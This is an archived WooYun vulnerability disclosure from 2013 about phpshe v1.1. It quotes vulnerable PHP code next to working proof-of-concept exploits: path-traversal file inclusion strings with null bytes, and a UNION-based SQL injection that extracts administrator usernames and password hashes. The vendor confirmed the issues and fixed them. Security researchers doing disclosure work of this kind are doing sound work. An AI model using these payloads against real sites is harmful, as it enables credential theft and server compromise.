当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021406

漏洞标题:phpshe v1.1 多处文件包含与SQL注射漏洞等

相关厂商:phpshe.com

漏洞作者: knife

提交时间:2013-04-12 16:44

修复时间:2013-05-27 16:45

公开时间:2013-05-27 16:45

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-12: 细节已通知厂商并且等待厂商处理中
2013-04-12: 厂商已经确认,细节仅向厂商公开
2013-04-22: 细节向核心白帽子及相关领域专家公开
2013-05-02: 细节向普通白帽子公开
2013-05-12: 细节向实习白帽子公开
2013-05-27: 细节向公众公开

简要描述:

比较严重,综合利用起来

详细说明:

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*========================
/*******************************************************/
/* Welcome to http://www.90sec.com */
/*******************************************************/
0x00 整体大概参数传输

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');


0x01 包含漏洞

//首页文件
<?php
include('common.php');
$cache_category = cache::get('category');
$cache_category_arr = cache::get('category_arr');
$cache_class = cache::get('class');
$cache_ad = cache::get('ad');
$cache_link = cache::get('link');
$cache_page = cache::get('page');
$web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array();
$cart_num = pe_login('user') ? $db->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php"); //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00


0x02 搜索注入

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
$sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));


//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}

//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1


0x03 包含漏洞2

//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
}
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
}
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98


漏洞证明:

GGDP98D0T7QD`$60~B@_I%E.jpg


NKU4ST~P`NH6DIAR@85RWIF.jpg


XEPHJZL51XZ%ARXPNEVGR@P.jpg

修复方案:

几个漏洞,过滤过滤在过滤

版权声明:转载请注明来源 knife@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-04-12 17:10

厂商回复:

感谢knife对phpshe代码审查,bug已修正!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-04-10 15:14 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    刀哥给力哦

  2. 2013-05-12 22:46 | 怡乐 ( 路人 | Rank:6 漏洞数:1 | 小菜 入乌云 求好友 求妹子)

    膜拜一下